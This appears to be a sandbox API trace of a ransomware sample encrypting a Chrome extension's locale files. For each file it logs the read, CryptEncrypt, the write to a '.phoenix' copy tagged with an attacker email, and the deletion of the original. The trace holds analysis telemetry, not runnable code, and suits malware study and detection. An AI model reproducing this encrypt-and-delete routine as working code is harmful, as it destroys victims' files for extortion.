	[0254.787] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0254.787] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1515c0) returned 1
	[0254.787] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.787] ReadFile (in: hFile=0x300, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xec, lpOverlapped=0x0) returned 1
	[0254.788] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0, dwBufLen=0xf0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0) returned 1
	[0254.788] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf0, lpOverlapped=0x0) returned 1
	[0254.789] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151500) returned 1
	[0254.789] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.789] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0254.789] CryptDestroyKey (hKey=0x151500) returned 1
	[0254.789] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0254.789] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0254.789] CloseHandle (hObject=0x300) returned 1
	[0254.789] CloseHandle (hObject=0x2b4) returned 1
	[0254.789] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json")) returned 1
	[0254.790] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0254.790] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0254.793] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=230) returned 1
	[0254.793] CloseHandle (hObject=0x2b4) returned 1
	[0254.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json")) returned 0x20
	[0254.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.793] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0254.793] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.793] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.793] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0254.794] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151500) returned 1
	[0254.794] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.794] ReadFile (in: hFile=0x2b4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xe6, lpOverlapped=0x0) returned 1
	[0254.795] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0, dwBufLen=0xf0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0) returned 1
	[0254.795] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf0, lpOverlapped=0x0) returned 1
	[0254.796] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151100) returned 1
	[0254.796] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.796] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0254.796] CryptDestroyKey (hKey=0x151100) returned 1
	[0254.796] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0254.796] CryptDestroyKey (hKey=0x151500) returned 1
	[0254.796] CloseHandle (hObject=0x2b4) returned 1
	[0254.796] CloseHandle (hObject=0x300) returned 1
	[0254.796] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json")) returned 1
	[0254.797] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0254.797] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0254.797] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=228) returned 1
	[0254.797] CloseHandle (hObject=0x300) returned 1
	[0254.797] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json")) returned 0x20
	[0254.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.798] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0254.798] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.798] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.798] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0254.798] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151640) returned 1
	[0254.798] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.798] ReadFile (in: hFile=0x300, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xe4, lpOverlapped=0x0) returned 1
	[0255.089] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0, dwBufLen=0xf0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0) returned 1
	[0255.089] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf0, lpOverlapped=0x0) returned 1
	[0255.090] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151100) returned 1
	[0255.090] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.090] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0255.090] CryptDestroyKey (hKey=0x151100) returned 1
	[0255.090] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0255.090] CryptDestroyKey (hKey=0x151640) returned 1
	[0255.090] CloseHandle (hObject=0x300) returned 1
	[0255.090] CloseHandle (hObject=0x2b4) returned 1
	[0255.090] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json")) returned 1
	[0255.091] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0255.091] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0255.092] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=224) returned 1
	[0255.092] CloseHandle (hObject=0x2b4) returned 1
	[0255.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json")) returned 0x20
	[0255.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.092] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0255.092] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.092] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.092] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0255.093] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1517c0) returned 1
	[0255.093] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.093] ReadFile (in: hFile=0x2b4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xe0, lpOverlapped=0x0) returned 1
	[0255.094] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0, dwBufLen=0xf0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0) returned 1
	[0255.094] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf0, lpOverlapped=0x0) returned 1
	[0255.095] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1513c0) returned 1
	[0255.095] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.095] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0255.095] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0255.095] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0255.095] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0255.095] CloseHandle (hObject=0x2b4) returned 1
	[0255.095] CloseHandle (hObject=0x300) returned 1
	[0255.096] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json")) returned 1
	[0255.097] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0255.097] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0255.097] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=222) returned 1
	[0255.097] CloseHandle (hObject=0x300) returned 1
	[0255.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json")) returned 0x20
	[0255.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.098] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0255.098] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.098] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.098] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0255.098] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1513c0) returned 1
	[0255.099] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.099] ReadFile (in: hFile=0x300, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xde, lpOverlapped=0x0) returned 1
	[0255.100] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0, dwBufLen=0xe0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0) returned 1
	[0255.100] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xe0, lpOverlapped=0x0) returned 1
	[0255.101] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151200) returned 1
	[0255.101] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.101] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0255.101] CryptDestroyKey (hKey=0x151200) returned 1
	[0255.101] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0255.101] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0255.101] CloseHandle (hObject=0x300) returned 1
	[0255.101] CloseHandle (hObject=0x2b4) returned 1
